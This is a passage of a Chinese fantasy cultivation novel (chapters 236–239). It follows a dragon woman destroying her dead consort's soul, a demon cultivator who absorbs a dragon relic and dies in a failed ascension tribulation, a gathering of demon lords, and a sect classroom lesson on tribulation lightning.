“你看着办,我过去帮一下你哥哈。”秦兰时说完,就拿剑冲上去补好了位。 “……” “想好了吗?”反叛军首领说着,呵呵一笑。 “…我要你立天誓,这样我才能信你。”慕流月盯着反叛军首领,她并非怕死,而是如果这个家伙要阴她,她死了这个家伙却没死也太让龙生气了。 “天誓就天誓。”反叛军首领也很爽快,当即立了个誓,立完后慕流月的脸色才逐渐缓和了。 “法子呢?”慕流月直接步入正题,不带丝毫犹豫。 反叛军首领见此一笑。 …… 利用神魂离体后,慕流月可以感觉到自己非常的轻盈,而她也被什么东西给吸入了进去,等她反应过来后,发现自己身处在无边的黑暗里,这里无声无物,似是一片虚无。 “这术法当真有用……”慕流月有些惊讶地低头看了看自己的手,随后她就开始寻找起四周留有魂魄的痕迹。 可是周围什么也没有,她想要见到的人也不在这里。 难不成这是一具没有灵魂的躯壳吗? 慕流月有些失望,就在她准备要利用术法离开的时候,突然,她似是察觉到了什么,转头看了过去,她看到了一道人影站在那里,离她不远不近。 “…明生?”慕流月出声喊道,她试图往前走了几步,发现他们之间的距离并没有拉近。 那道人影非常的模糊,慕流月并不能确认那是不是他,瞧着像,又不像,毕竟时间已经太久了,久到慕流月都要不记得了。 或许还记得,或许已经忘了。 到底记得什么,到底忘记了什么。 慕流月并不清楚。 “……我居然不知道该说什么。”慕流月微微苦笑了一下,随后她唤出了跟随自己神魂进来的武器,她的剑,“但,我是来杀你的,明生。” “几百年前,你死了一次,几百年后,你也要再死一次。”慕流月那么说着,她的语气是难得的温和,“抱歉啊,我会很快结束的。” “……” “明生,原来你的妖身那么难看啊,怪不得你一直不愿意给我看呢,也是,你要是给我看了,估计我每次宠幸你的时候都会想起你这具……” 慕流月顿了顿,随后继续说下去:“这具满是伤痕的躯体。” “……” “明生,你的魂魄已经不能和我说说话了吗?亏我还想着能听到什么呢?真是可惜啊。”慕流月得不到回应,她就这样自顾自地说着,而她也慢慢地举起剑,是的,她慢慢地举起来,因为若她就这样挥下去,那道模糊的人影或许就不会再出现了。 虽说早已习惯,但在这习惯了的几百年后,慕流月依旧是舍不得的。 “……对不起。” 最后,慕流月只说了这一句。 等那剑要挥下去的时候,眼前的那道人影嘴唇微微一动,他似乎说了一句什么,而这一句话让慕流月微微瞪大了眼睛。 下一刻,魂魄散尽,徒留这无边的黑暗将慕流月所笼罩。 慕流月没有再停下,而是掐着术诀离开了这里,等她再度睁开眼的时候,眼前那具庞然大物轰然倒下,把还在打的秦兰时和慕云辰给惊得往后退去。 “没想到你解决得那么快。”反叛军首领对此很惊讶,还以为这个好色龙二还会和里头的魂魄谈情说爱呢。 “…不快不行啊,不是说要快点结束比较好吗?再拆下去岛都没有了。”慕流月这样说着,她转过身去,准备往某处走去。 “你要去哪里?”反叛军首领见她毫不犹豫地转身离开,就出声问了一句。 “既然是魔物,那么能够操控并且拥有它的,魔修的可能性很大,我要去找那个姓任的魔修问个清楚。”慕流月没有回头,她的脑海里尽是方才那人说出的话,而这番话居然让她的脸上流露出一种又哭又笑的表情。 这种表情太奇怪了,她不想让人看见。 谁能想到,在那种时候,那个混蛋还能说出这样可恶的话来啊。 真是……真是…… …… 那番可恶的话语是明生站在那里,笑着对她说,是的,明生是笑着的,在那总是冷淡的眸子里,慕流月居然罕见地看到那一丝温柔。 这是之前,她所没有看到过的,而这句话……也是她第一次听。 曾几何时,在她还无比喜欢明生的时候,就经常在旁边烦着他,一边吐槽对方对自己不够好,一边又说别人家的夫妻都那么火热,为什么他们不是那样的呢? 是啊,为什么他们不是那样的。 其实慕流月也知道,他们不可能变成那样的,而她也是随口的一说,随口的承诺,她其实是天生淡漠的,就连明生也只是恰好占据了她心上的一点点。 可就是一点点,慕流月也觉得自己给明生的特殊够多了,而这也是龙族特有的傲慢,但是明生却总是无视她这种自以为的特殊。 到最后,明生好像也是这样无视她,在那场差点夺去整座岛屿生气的龙啸暴乱下,明生自顾自地去了,而明生这样强大的生命力也足以填饱了那个什么圣物。 往后便是几百年的宁静。 所以,是为了她吗?难得傲慢的龙族居然对自己产生的怀疑,她有点不明白了,明生为什么会做出那样的选择,可那人已经死了,慕流月也没处去问。 再度重逢后,慕流月却不知道要不要问了,最后她也没问,很奇怪吧,明明一直想要问个清楚的,可在那个时候,她居然怂了。 天啊,她这样厉害的龙族居然怂了!! 不问就不问吧,再见到也不错,只是非常可惜这段重逢太过短暂了,可能很快就会忘记的吧。 慕流月以为是的,她觉得应该是这样的,他们也应该是这样…… 但是…… “娘子,杀了我。” 看看,这个混蛋到最后也不忘记欺负她。 瞧瞧…瞧瞧啊…… 她一直以来心心念念的娘子居然是这样说出来的,真是不解风情…… …… 算了,原谅他啦。 谁叫那是我的好主君呢。 第237章 天不让 “人呢?任海那家伙跑哪去了?”秦兰时带着慕流月和反叛军首领一起跟着气息追寻过去,“还有,我家山玉呢?我家小辈们呢?” “别急,你看那里。”慕流月拉了拉秦兰时的衣服,示意他往那边看去,细看下,那里倒塌了一片,四周沾染了浓浓的灰屑,空中也遍布着灵力的残留。 “看起来这里发生了一场灵力爆炸呢。”反叛军首领抬手点了一下空中飘散下来的灰烬,那灰一碰就碎,脆弱不堪。 “谁干的?幸好周围的住民都跑了,不然很有可能祸及无辜。”慕流月挥了挥手,把那些灰烬给拍散来,她细瞧着周围,气息到这里就没有了,许是被隐藏在这片爆炸的残留灵力下,让人难以捕捉。 “没事,你们龙族也不是很无辜。”反叛军首领呵呵一笑,提了一嘴,不过他的内心也松了口气,该说不说这里还挺偏僻的,他的下属应该不会来这里。 “你不呛我会咋地?”慕流月瞪了过去。 “会不舒服。”反叛军首领也毫不示弱地瞪了回去。 “好了,别吵了,有情况。”秦兰时制止了一下这即将爆发的争吵,他说有情况也不是乱编的借口,而是真的有。 只见底下的废墟里头,在那黑土里猛地出现了一只手,这只手在泥土里四处抓了抓,最后撑地而起,伴随着掉落的碎土,秦兰时他们可以发现在土里的那人正是他们苦苦寻找的任海。 只见任行舟咳了咳几声,手臂上的黑色纹路若隐若现,他似有所觉地抬起头,就和秦兰时等人对上了视线。 “啧,山玉呢?”秦兰时可以感应到唐山玉应该在不远处,但是他不知道具体位置,只能问任行舟。 “……你问我,我问谁,我这样的还不是拜他所赐。”任行舟擦了擦脸上的灰,随后就站了起来,他活动了一下四肢,确认无事后就抬头看着秦兰时他们,“你们既然过来了,看来事情是解决了?” “任贼,快把我族圣物交出来!!”慕流月率先往前一步,厉声开口道。 “老任啊,我们说好要把那什么龙啸给毁了,你现在留着它,是有何意啊?”反叛军首领也在旁边开口了,他挑了挑眉,觉得这任海当真是让人琢磨不透,毕竟先找他们合作的是他,到后边先背弃信用的也是他。 但是,当初任海帮他们的时候也挺卖力的,生怕他们不起义成功。 而如今这般局面,反叛军首领不信这个人会料不到,毕竟那个圣物,夺去了他们多少妖的性命,正因如此,它必须要被毁掉。 若不以此物,以龙族的血,去祭他们死去的同伴在天之灵,那么此后他们永远会活在充满鲜血的过去里,并且再无来日。 “你们问题好多啊,不过除了秦道友好像都围绕着同一个东西呢?”任行舟耸了耸肩,他看上去有点无奈,在唉声叹气下,他拿出了那枚水晶,水晶白里透红,看上去又纯洁又诡异。 慕流月见此就握紧了手中剑,视线一刻不停地落在那水晶上,那的确是他们龙族的东西,也是神明所赐予他们龙族的圣物。 反叛军首领也将自己的刀拔出指向了任行舟,他瞧着那任行舟无所谓的表情,只能感慨一句男人心海底针了。 秦兰时啧了一声,他看到那水晶自然也没有好脸色,那可是害得他变成这种模样的邪物,所以他也拿出了剑,准备要上前去夺那什么水晶。 “……看来,我只有那个办法了。”任行舟很是无奈地看着手里的水晶,他呵呵一笑,随后伸出手一把握紧了那水晶,他握得很紧,水晶扎破了他的手掌,鲜血一点一点的自他手上流下来,滚落泥土中。 整个过程下来,任行舟都不带丝毫犹豫的,他抬起头看着他们,脸上的笑容也愈发地灿烂。 “等等!他在吸收那龙啸!!”慕流月猛地明白了什么,当即举起剑往任行舟那里冲过去。 反叛军首领低声骂了一句后也举刀冲了过来,“这个疯子,真是不嫌事情惹大。” 秦兰时看到这一幕想起唐山玉那吸收水晶后的模样,顿觉大事不妙,也举剑上前阻止。 尽管三人都以最快的速度冲来,但他们还是晚了一步,只见任行舟身上的气息一变,瞬间爆发开来的骇然的魔气将他们都冲了出去。 黑血正不断地浮现在任行舟的嘴巴,鼻子,眼睛,还有耳朵那里,正在不停往外流动着,任行舟似是没有察觉那般继续握紧手里的水晶。 慕流月被这气息给冲飞出去,她摔在了地上,顿觉后背疼痛得厉害,方才太快了她都没来得及生起灵力护罩。 反叛军首领也砸在地上,他只觉得头晕目眩,所幸他摔多了,也不觉这种疼痛怎么样,总之他很快又站起来。 秦兰时自然也飞了出去,不过他没有砸在地上,而是被不知道从哪里窜出来的唐山玉给接着了,俩人含情脉脉地对视了一眼,尽显人间真情所在。 “…山玉?你从哪里出来的?”秦兰时哈哈一笑,随后伸出手勾住唐山玉的脖子,很是热情地把自己送上去,“刚才找不着你我好急啊,其他人还好不?” “嗯,其他人还好。”唐山玉抱着人转了一圈,最后面向了那边还在散发着危险气息的任行舟,“这水晶的作用,你知道多少?” “嗯?这个啊?我只知道它吸人生气,化为能量维护着龙族的实力……”秦兰时认真想了想,随后又道:“还有那个什么易长老,之前忽悠我说这个玩意儿能够大大增强实力,会让我一下子蹦到我师父目前的修为……” 轰隆隆。 突然,天空打雷了。 “…呢?”秦兰时瞪大了双眼看着那边的任行舟,他没有想到这玩意真能一飞冲天啊,任行舟现在给人的气息就像他师父那样强大。 “握草,快走!!这任海发疯了!!”秦兰时当即跳了下来,一把抱起唐山玉就要往外跑去,“这种行为不只是逆天而行,更是天打雷劈啊!!这可比我当初突破还要吓人。” “等一下!”唐山玉止住了秦兰时这般动作,他转头看向了慕流月还有反叛军首领,“两位可知这龙啸到底是什么?我需要具体点的。” “我只听说那是神明赐给我们龙族的宝物,可以让我们龙族的实力越发强悍,我出生的时候那什么圣物就已经在了。”慕流月对这个了解也不多,关于圣物,她也是听那些年长者说的。 “龙族都不知道,我这个不是龙族的还能知道什么?这不过是个吸食生气来维持的邪物罢了。”反叛军首领对此冷笑一声,目光依旧落在不远处的任行舟身上。 “……”唐山玉看过去,他没有说话,而秦兰时因为唐山玉没有说话,所以他也不敢动,只不过他的双脚已经准备就绪了,一有不对劲就带着人跑。 而此时此刻的唐山玉为什么没有说话呢,因为他的脑海里,那道沉睡已久的声音再度响起来了: [咦?这是什么找死的行为?] “您终于醒了啊?自上次一睡,要不是我还能感应到你的存在,我都差点以为你已经死了呢。”唐山玉张嘴就是吐槽,虽然他并不知道对方是什么东西,不过看着应该活挺久的。 [没事,我很快就要睡了。] 唐山玉:? 你是外挂还是我大爷? 让你睡了吗? 当然,唐山玉只是内心吐槽了一下,尽管对方看着像外挂,但是他也不敢贸然确定这玩意到底是不是外挂,再说了,从一开始相赠的神焰,到后边答应的锻剑,都是对方强买强卖的。 一想到这个,唐山玉就觉得自己运气或许是有点糟糕的,难怪前世他次次吃保底,就没有真正欧过。 “怎么就要睡了?你这次又是因为什么醒过来的?”唐山玉这样问着,其实内心也有些许猜测。 [因为他就要飞升了,而飞升需要沟通天地,先是地,其次才是天,我感应到了天上的气息就醒来了,等这气息结束,我就会再度沉睡过去。] 那道声音回答完唐山玉的问题后又很是好奇,随后又道: [但是,那是不可能的,他只会死,飞升……早就不行了。] “怎么就不行了?” [因为天不可破。] “……那这天为何不可破?” 这道声音不再回答他了。 与此同时,天边的雷翻滚而至,雷声炸开了整片天,把四周都刹那照亮,本该是被乌云笼罩的天因为这场雷劫,刷的一下如雪那样白。 等唐山玉回过神来,就是这样的场景,秦兰时已经带着他远离了那里,风急急地吹打在人们的脸上,而他们的目光却不约而同地望向了那边的人。 天地之大,人之渺小。 海上风暴席卷而起,向天而扬,却又迫于无力而垂直落下,滴答滴答落下的海水和雨这般的相似。 谢璟抬起头也看着远处的场景,不知为何,他的剑因为这场飞升雷劫而隐隐震动着,他低下头抬手按住了剑柄。 在一旁的江玉瑶正在给满脸不情愿的卫朔治疗伤口,胡长乐依旧躺在旁边安静地睡着,雷打不动的睡眠让人感慨她的睡眠之好。 “谢…师兄?那边是什么情况?我们在这里安全吗?”江玉瑶不安地问出声,和卫朔不同,她眼里全是对生的渴望,和对死的惧怕。 “安全,放心好了。”谢璟转头看了江玉瑶一眼,朝她点点头,说完他的思绪继续放在自己的剑上。 万古,你在激动什么? 谢璟于心里向自己的剑问着,但剑并不能回答他,他所能感受到的,只有来自剑上的那阵阵激动与兴奋。 另一头,飞在空中的几位少年也对这般景象发出感叹:“到底是哪位前辈在此渡劫?阵仗居然这般大。” “我还是第一次看到这种场面。”李行川对此也很是震惊,只是,他总觉得此时此刻的渡劫时机是不是不太妙,总觉得有些着急了,“大家还是离远点比较好。” 正说着时,几艘灵舟缓缓地停在了他们旁边,转头看去,发现是盛礼越他们,与此同时,还有一艘陌生的灵舟,灵舟上站着石泽竹,而石泽竹正着急地问道: “山玉他们在哪里?” “他们躲起来了。”李行川当即开口回答了,而这是方才江玉瑶告诉他们的事情。 “怎么回事?怎么突然就开始渡劫?”盛礼越往那处的天望过去,他本来就是中途加入的,事情的原委本就不太清楚,而且谢璟托付的药包还在他手里呢,只是秦兰时离开的时候又太快了,他们几艘灵舟压根没追上。 “我也不知道啊,就这样开始渡劫了。”叶玄洲显然也不清楚,而且唐山玉托付的黑石头还在他们手里呢。 “不管是真是假,那边的气息太过危险了,还是不要靠近为好。”马小桐说着,就开始招呼着他们快点上来:“快过来,灵舟上面有不少阵法,比在外头安全些。” “……”程启风没有开口,他只是静静地“看”着那里。 “看出什么了吗?”盛礼越转头问他,毕竟他没有程启风会能掐会算。 “……”程启风还是没有开口,只是,盛礼越可以听到他嘴里吐露出的那声轻叹。 与此同时,慕云辰看着那边的情况,转头去问站在他身边的老龙王:“父王?这到底是……?” 老龙王看着那边的天,摸了摸胡子,随后他眯起了眼:“借助神赐之物以获成神资格?不对,应当不是。” 若有那么简单,他早就拿去用了。 “父王,我族圣物到底是什么?”慕云辰见自己父王还在喃喃自语呢,当即直接问道。 “龙啸确由神明赐下,此言非虚……”老龙王摆了摆手,他继续瞧着上边的天,浑浊的眼珠里倒映着天上的雷光,“只不过这些年来,龙啸上的神明气息逐渐变弱了,这也是为何它越来越不管用的原因。” “而如今,它不过是重新接触天空罢了。” 不仅如此,不只是这里,就连遥远的随清宗也能感受到这里的变化。 坐于院里的苏岭月在修炼里睁开眼,他站起身来挥一挥衣袖,走出院门,而在院门那,顾延清正在站在那里等候着他。 顾延清见苏岭月出来,便恭敬地走上前去唤一声:“师父。” “其他人呢?” “他们都在各司其职,保证宗门里头稳定。”顾延清回答着苏岭月的问题,与此同时,他眼里的担忧之意逐渐流露出来:“师父,兰时他们那边……” “放心,他们暂且无碍。”苏岭月往前走去,而顾延清紧随其后,俩人一起来到了高楼上,从这里,可以望得很远,而他们所望的地方,便是秦兰时等人去时的方向。 “…延清啊,你可知,为何我一直压制住自己的修为,不让自己飞升么?” “……”顾延清没有回答,但,他理应心知肚明,因为他是下一任的宗主,同时也是苏岭月的大弟子。 “因为,天不让。” 第238章 回家 那天,雷声轰隆,大雨倾盆,雨水清洗着此地的罪恶,鲜血顺着水流一点一点地往远处流去。 火焰在不远处燃烧着,空气中弥漫着腐烂的气味,未灭的灰烬于此地纷飞起舞,最后往高空飘去,怎么也抓不住。 一个男人跪在这里,他的手指缝隙里掺杂着不少泥土,雨天很大,雨水顺着他的脸颊滑动而下,滴落的水珠被不远处的火光所照亮,火的颜色居然给这冰冷的雨添上一层温色。 与此同时,旁边躺着一具海族的尸体,从衣着上可以看出此妖应是此地看守,周围是还没有被烧掉的尸体。 男人的前面摆着两具尸体,那是一对母女,她们在死的时候还在紧紧地抱在一起,仿佛这样能够为彼此褪去一丝对死亡的恐惧。 任行舟看着这两具尸体,只觉上天在和他开玩笑,头发因为雨水凌乱地紧贴他的额头上,他伸出手颤抖地握住她们的手,他用力地握紧着,随后,他猛地以头撞地,一边撞一边看着自己的妻女。 等头上的血和雨水混杂在一起刺痛到他的眼睛后,他才停下了这个动作,最后,任行舟抬起双臂,弯腰将她们轻轻地抱在了怀里。 就在这时,有人站在了他面前,任行舟没有抬头去看这个人,他只是专心地抱着自己的家人,仿佛这样能够给怀里的冰冷一点温度。 “你知道这一切到底是谁的错吗?”那个人出声了,可他并没有得到任行舟的回应。 过了一会儿,任行舟这才缓缓开口:“是我的错,如果我再强大一点,如果我能够再细心一点,她们就不会……” “你的确很弱。”那人丝毫不安慰此时脆弱的任行舟,只不过他微微一顿,又继续道:“但,这也并非只有你的错,更大的错处,应是这天道不公。” “天道……不公?”任行舟听到这话,缓缓抬起头看过去。 “若非天道偏心龙族,给予他们强大的实力,却不考虑获得这般强大的龙族是否造成严重的后果。”此人循循善诱,似乎想要把任行舟引导到那个方向上去。 “天道确实不公。”任行舟也正如那人所想那样,用这句话回应了他。 “苍生皆有苦楚,上天本就从未公平过,我们这等人能做到,就是努力让自己幸福。”任行舟这样说着,他继续看着那人,“但,如今我连这份权利也被剥夺,自要去讨个公道,所以你要帮我吗?” “…你怎么就如此笃定,我会帮你。” “若不是为了这个,你过来这里做什么?”任行舟平静地看着这个人,张嘴继续道:“若是好心人,你应该现在悲愤欲绝,然后去替我报仇,就像话本子里替天行道的侠客那样。” “很抱歉,我不是那种人。”这人显然很清楚自己此时的定位,与此同时,他也对任行舟伸出手,“但是,我可以给你力量,让你自己去复仇。” “那我需要付出什么样的代价?” 那人笑而不语,显然没有打算就这样告诉他。 “……那我愿意的。”任行舟这样说着,他一把抱起怀里的妻女,重新站了起来,“我……早就不想继续活了,我浑身上下只有这条烂命,你若要,那便要去吧,只要能够让我报仇成功就行。” “你能够做出这样的决定,我很欣赏。”这人微微一笑,随后甩了甩手,一道炽热的火焰环绕着他们燃烧起来,火焰正在不停地烧着这里的尸体。 同时也把任行舟的过去也一并烧毁。 大雨里,灰烬不会复燃,唯有沉寂。 那天的雷声全无今日这般响亮,任行舟捂住脑袋,感受着这股力量正逐渐吞噬他的身体,这龙啸吸食的生气里,或许就有他妻女的一份,如今他要利用这些去把这天给撕破。 他好像能够听到冤魂的哭声,哀嚎声,这个时候,任行舟还有空想,如果能借助那个黑石头把那魔物的生气夺过来就好了,这样或许还能顺利些,可能还有一线生机呢。 但是,算了。 这本就是一场奔赴死亡的旅途,何故惧怕,不应为此犹豫才是。 …… 老龙王看着降落在他面前的任行舟,任行舟冷眼看着他,并且朝他抱拳一礼:“老头,我还差一物。” “你还差什么?” “你的命。”任行舟这样说着,他可以感觉到雷声的步步逼近,一同逼近的,还有他计划里的结局。 “命……?”老龙王闻言又笑了几声,他抬手止住了旁边要上前的慕云辰,“以近于万年的龙魂渡万鬼,你这后生还真是会善后啊,我还以为你直接就这样走了呢。” “这是你们龙族造的孽,不该由你们偿还吗?”任行舟摊开手细数着龙族的罪证:“傲慢无礼,自以为是,你们早该下来了。” “…呵呵。”老龙王笑着摇了摇头,随后他往前走了一步。 “父王!!!”慕云辰很是着急地喊出了声,“万一他欺骗于你,只是借助你的龙珠用来抵挡天雷呢?我们龙族本就可沟通于天地,龙珠更是利于那些修士们作为突破之物,若非我族实力强悍,早就惨遭杀害无数。” “云辰,吾命数已至,早应回归大海。”老龙王半眯着眼,他抬手整理了一番仪容,像是要去赴一场宴会,“这龙啸之祸,若我当初忍下心来,或许就没有这几百年后的灾祸。” “错,你们一直这样,迟早有人把你们拉下来,不是我也会是其他人。”任行舟面露不屑,显然他对龙族积怨已久,不过他还是选择等这老龙王和自己的儿子说完话。 “此后龙族交由你们了。”老龙王吩咐完最后一句,便跟着任行舟一起踏入这场雷光里,只闻雷声至,不见远行人。 …… “师父,你说,他能飞升成功吗?”唐山玉站在秦兰时旁边看着那天雷,这和他当初金丹突破的时候大不相同,感觉只需要一道就能够把他劈到回炉重造。 “你要是担心,我们把那破石头送过去给他?”秦兰时在旁边附和了一句,他将身子靠在唐山玉身上,“不过,这可是飞升雷劫,那个破石头的是没有多少用的,你放心好了,此劫是他自己要去的。” “……” “还在想呢?”秦兰时伸手从后边抱了抱唐山玉,他将下巴搁置在唐山玉的肩膀上,“没事,这和我们没关系。” “…我是想到……”唐山玉转头看向秦兰时,他似乎通过这场劫想到了什么,“他为何要这样做?他付出性命要去做的,就只是飞升么?” “……山玉,这在修仙界很常见,有人终其一生就为了这个目的,要么飞升成神,要么以死殉道,古往今来皆是如此。”秦兰时耸了耸肩,他看着那边的任行舟,发出一声感叹:“为了飞升,为了成神,有人死不瞑目,有人在追寻此道中误入了歧途,如果任海是为了飞升,倒也正常。” “……我才一百多岁,我哪能彻底理解你们这些想要往天上飞的心理啊……再说了,这离我远着呢。”唐山玉说完后,就又往脑海里喊了几声那个家伙,发现这家伙又睡去了,怎么喊都不应声。 这睡眠质量也太好了吧? 另一边,谢璟还在按住自己的剑,他不知为何总有些莫名的情绪涌上心头,那是剑的,还是他自己的?他已分不清了。 “谢师兄,他在乱动,你能不能帮我按住他?”江玉瑶见不听话的病人正在努力往雷劫那里爬,瞬间怒从心起,于是她选择呼叫援军。 援军已至,谢璟走过去把人按住了,只不过他继续想着事情,一旁的胡长乐不知道什么时候醒过来了,她抬起头看着远处那场雷劫,什么也没说。 …… 只见那飞龙在天,于高空呼啸而过,庞大的龙身让人不由得为之一振,这可是接近于万年的龙族,在席卷而来的风里,那渺小的人类正仰头看天,只见他抬起了手…… 雷,劈了下来。 第一道。 天地皆明。 第二道。 宛若冤魂怨吼聚拢,向天而怒,海水呼啸冲天,顺风而上。 第三道…… 龙身散去,强大的龙魂于空中浮现,鬼魅成群,呼啸冲天,龙头俯下,始渡万鬼,阴风阵阵,可怜冤魂生。 一道道雷劫的攻击下,任行舟自然能够感受到自己的灵力在飞速流逝,流逝得太快,就像被什么东西掠夺了一样。 而这也让他明白了,估计自己也会成为那些死去的飞升修士里的一员。 不过,他的目的也不是为了飞升。 任行舟这样想着,他抬起手,借用那水晶,用尽全身的灵力直直地往天上攻击过去,无可避免的损伤正在撕裂着他。 任行舟只觉得眼前的一切都模糊起来了,他感觉到身体上的疲惫,好像有什么巨大的手把他往下拖去。 累盖过了浑身的疼痛,这让任行舟眼睛不由得闭上,黑暗席卷而来,死亡正拖着自己的灵魂。 距离计划达到的要求还差一点点…… 任行舟这样想着,他努力抬了一下手臂,发现自己已然没了力气,还差一点,还差一点啊…… 就和当初的那样,还差一点,他就能救下她们了。 为什么…为什么呢…… 果真是天道不公吗? 突然,一道声音自远处传来。 任行舟猛地睁开了眼。 …… 七道雷劫,终已停息,只见那乌云散去,光从层云渐入,天边亮起,还未等人感叹几声,突觉一滴清凉滴落鼻尖。 抬手去接,竟是那浪起海水随光而落。 任行舟并没有飞升成功,他失败了。 倒塌的龙宫,被摧毁的墙壁,还有那获救海族正在呐喊着自由的归来,欢呼着龙族霸权的落幕。 伤心也好,开心也罢。 不管如何,天终晴朗。 随清宗弟子们纷纷回到灵舟,开始等待着这次起义的结束,朝国外使有的慢吞吞地走入那已成废墟的龙宫,有的则随地找起一位叛军,要求对方引自己去见那叛军首领。 反正,各有各的事情,都很忙的。 在雷劫结束的地方,有人在那里翻翻找找,似乎在找些什么,但是他什么也没找到,一旁的男子劝道:“山玉啊,这任海应是一点都不剩了。” “……哦。”唐山玉听闻此话,只觉心情复杂,于是他开口道:“我还是第一次遇见那么友好的魔修呢。” “别说你,我自己也是第一次,平时我遇到魔修不是打一架让对方跑了,就是打一架他变成我的剑下亡魂。”秦兰时踢开了一块石头,继续往前走着。 “如果……”唐山玉开始说起了白日梦才会梦到的事情,“如果他不走反派的路子的话,我们是不是能够成为好朋友?” “或许吧。”秦兰时没有再评价什么,只是走过去拉着人,打算带人往回去的路上走,“别伤感了,我们先回去吧,这场叛乱还没结束呢。” “……我才一百多岁,你让让我吧。”唐山玉顺着秦兰时的力道往回走去,只不过在离开的时候,他往那边的废墟看了一眼。 这一眼并不能看出什么东西,只是,不知为何,唐山玉总觉得好像有什么在看着他们,这大白天的,在闹鬼呢。 于是唐山玉推着秦兰时往前快速走去,这种被看着的感觉不是很好,但是对方应该是没有多大恶意。 或许是那死去的任海鬼魂在看着他们,毕竟要不是他们插一脚,估计任海就能更快更稳定的飞升也不一定呢。 唐山玉也没有感觉错。 的确是有鬼在看着他们。 这个鬼在目送他们离开后,便转过身去,而在远处,他最珍爱的家人还在等着他。 “任行舟——快过来。”女子挥手喊着,笑容和记忆里的一样温柔。 “爹爹!爹爹!”小女孩站在女子的旁边,兴奋地喊着,她一蹦一跳的,就和记忆里的一样活泼。 任行舟走过去,将小女孩一把抱了起来,而一旁的女子抬起手抚上了任行舟的脸颊,她微微一笑:“这些年来,辛苦你了,我们回家吧。” “爹爹!回家!”小女孩骑在父亲的肩膀上,飞得老高老高了。 “好。”任行舟笑着应了一声。 “我们回家。” 第239章 已然结束 恶兽雕像立于门口,它们的嘴里正燃烧着艳红的火焰,那对眼珠子被人用宝石雕刻上去,是如此的栩栩如生,看久了总觉得它们会动那般。 红宝石眼珠子里头倒映着一道姗姗来迟的人影,若是秦兰时在肯定会认出这个人便是四魔主江易年,江易年身着大披风,正满脸不爽。 他越过这道大门,往里走去,先迎接他的是三魔主尹离郁,尹离郁正摇着手上的折扇,淡笑间她身上的珠宝配饰正随着她的动作清脆交替:“瞧瞧是谁来了?” “……”江易年看了她一眼,毫不客气地扭头无视她继续往前走。 “喂,怎的这般无礼。”尹离郁轻轻挑眉,也不摇扇,而是慢步朝着江易年走去,“美人,笑一个?笑一个我就给些资金让你研究你最近研究的那什么鬼城?” “是万鬼迷城。”江易年白了她一眼,随后继续道:“无礼的人究竟是谁,我这个态度,你能否心里有点数?” “别生气嘛。”尹离郁笑了笑,凑过去神神秘秘地挽起袖子,让人看她的大金镯子,“瞧,我最近新进的货。” “……除了你,还有谁到了?”江易年看了看那大金镯子,没什么评价,而是问起了其他事。 “听说小七忙着猎食不过来了,还有小游儿,他要睡觉也不过来……这下子咱们的小凤凤要扑了个空呢。”说完,尹离郁笑了,她美滋滋地往前走了几步,“算啦,不重要,比起他们,还是大人的脸更让我着迷呢。” “……庸俗。”江易年评价了那么一句,他很是无语。 “商人,庸俗点怎么啦?”尹离郁继续和江易年嬉笑,当然,这是她自认为的嬉笑,江易年对她依旧臭着个脸。 “…别挡路。”就在俩人说话的时候,他们身后出现了另一道声音,他们转过头去,发现来人是段明野,段明野穿着一件单薄的红袍,只见他脖子,锁骨,还有胸膛那里正落着点点红梅。 “小野野,你好野呀,这大白日的不好吧?”尹离郁嘿嘿了一声,随后伸出手,迫不及待地道:“快让我摸摸……” 还没摸到呢,就被段明野一把拍开,他淡淡地看了一眼尹离郁,眼里的阴霾一如既往,“滚。” “真辣啊……”尹离郁擦了擦不存在的口水,评价了那么一句:“谁能想到这样的美人居然……” 尹离郁这嘴啊,真是让人恨得很,而恨得很的段明野直接一鞭子挥了上去,只不过尹离郁侧了一下头就躲过去。 “闭嘴。”段明野眼里的杀意更浓了。 “吵什么?”一道威严的女声在前方传来,只见楼栖凤端坐位置上,她的长刀正摆放在身旁,“还不快过来,别磨磨唧唧的。” “来了来了~”尹离郁立马笑嘻嘻地凑上去,她坐在了楼栖凤的旁边,自以为风情万种地抛了个媚眼给楼栖凤看,“小凤凤,好久不见呀,你瞧着更好看了呢。” “……该来都来了?”楼栖凤也没有回应尹离郁,说这句话的时候,她看了一眼那头的空空如也的位置,那是大魔主游子修的:“啧。” “大人呢?我们的大人在哪里呢?”尹离郁开始积极地扫了一圈周围,但还是没有看到她心心念念的大人,“大人……看不到你……我就好像不小心吃掉生姜那样难受……” 在尹离郁说完后,一阵黑风刮过,主位上坐了一个人,那人半靠在椅子上,双手抱臂,在他出现后,其他人都不约而同地看向了他。 “大人!!!”最先出声的是尹离郁,她顿时满眼星星眼,并且很是欢快地将自己的椅子一踹,瞬间她就瞬移到了那个大人身边,大人没看她,但是也没管她。 “任行舟死了,按照计划我们该找个时间去做个客了。”大人说着,指节轻叩于桌上,他对于死去一个魔主的事情表现得极为平静,“正好,也是时候彻底告诉他们,我们的存在。” “大人!我到时候能在旁边看着嘛?人家真的不想动嘛~”尹离郁在大人说完后就立马举起手,她看上去有撒娇的嫌疑,“您知道的,我一向不擅长这些啦。” “……”大人还是没回应她,只不过他却慢慢地点了一下头,算是同意…? “大人万岁~”尹离郁又开心了。 “大人,关于此次飞升雷劫……”楼栖凤在一旁张了张嘴,开始说起了另一件正事。 …… “提问!飞升雷劫一共有几道?”秦兰时站在讲台上,正一边拿着书本,一边往下走去,此时此刻他正骄傲得和一只小公鸡那样,挺起胸膛在下边走来走去,此时此刻他身上的黑色裂痕已然散去。 因为任行舟在飞升的时候也是带着那个水晶,所以在厉害的飞升雷劫下,这个水晶已经和任行舟一起灰飞烟灭了。 水晶没有了,这个因为被吸食生气而造成的黑色裂痕自然而然也开始散去了。 “我知道!是七道!”江玉瑶在座位上举起手,非常积极地回答了秦兰时这个问题。 “答对了!这是奖励!”秦兰时将自己做的糕点拿出一包放在江玉瑶的桌子上,随后他又开始往下讲:“是的,我们的飞升雷劫一共有七道,这七道雷劫便是那些修士飞升时候要渡过的七场劫难。” 接着,秦兰时又开始举例起一些飞升成功修士要做的准备,只不过这些修士已经许久不出现了,“最后一个成功飞升的修士名字叫孙慈,自他之后到现在再无飞升成功者。” “秦长老,为何那个龙啸可以让人迅速步入到渡劫期?”李行川举起手问起了问题,他一副好学的模样,很是神采奕奕。 “关于龙族这个圣物,龙族那边给出的解释是因为神赐之物,再加上龙息的温养多年,尽管后来他们有人利用其他东西代替了龙息,但是其中的神力还是不容小觑,而任海也因此借助此物突破至渡劫。” 